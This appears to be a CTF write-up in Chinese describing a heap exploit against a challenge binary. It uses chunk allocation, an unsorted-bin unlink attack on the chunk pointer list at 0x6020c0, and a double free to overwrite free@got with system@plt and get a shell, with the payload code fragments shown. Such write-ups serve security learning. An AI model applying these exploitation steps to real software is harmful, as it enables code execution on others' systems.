保护措施:
1 | Arch: amd64-64-little |
此题与silent几乎完全一致,仅是在malloc的时候做了大小限制:
1 | if ( size != 0x10 && size <= 127 ) |
因此此题需要依靠unsorted bin和unlink漏洞进行利用。首先申请5个chunk:
1 | New(0x100, 'Hack by sunichi') # chunk_0 |
随后free chunk_3、chunk_4:
1 | Delete(3) # size 0x110 |
构造payload,0x6020c0为程序保存申请的chunk的地址的列表,首先我们要确保能通过unlink的安全检查,因此与0x6020c0有关的两个地址需要相差0x8,其次我们需要利用unlink改写列表中的值,进而写入got表地址然后进行覆写,unlink能达到的效果是对目标地址(第3个p64)+0x18的位置上写入其自身,我们在这就可以将list[3]的值替换为list[0]的地址,因此第三个p64的地址为target_addr - 0x18。填充完后,伪造chunk,prev_size为0x100,size为0x100:
1 | payload = p64(0) + p64(0x101) + p64(0x6020c0 + 0x18 - 0x18) + p64(0x6020c0 + 0x18 - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(0x110) |
Double Free并且通过编辑chunk_3将list[0]改写为free@got,然后将system@plt写入free@got:
1 | Delete(4) |
拿到shell:
1 | New(0x100, '/bin/sh\x00') # chunk_6 |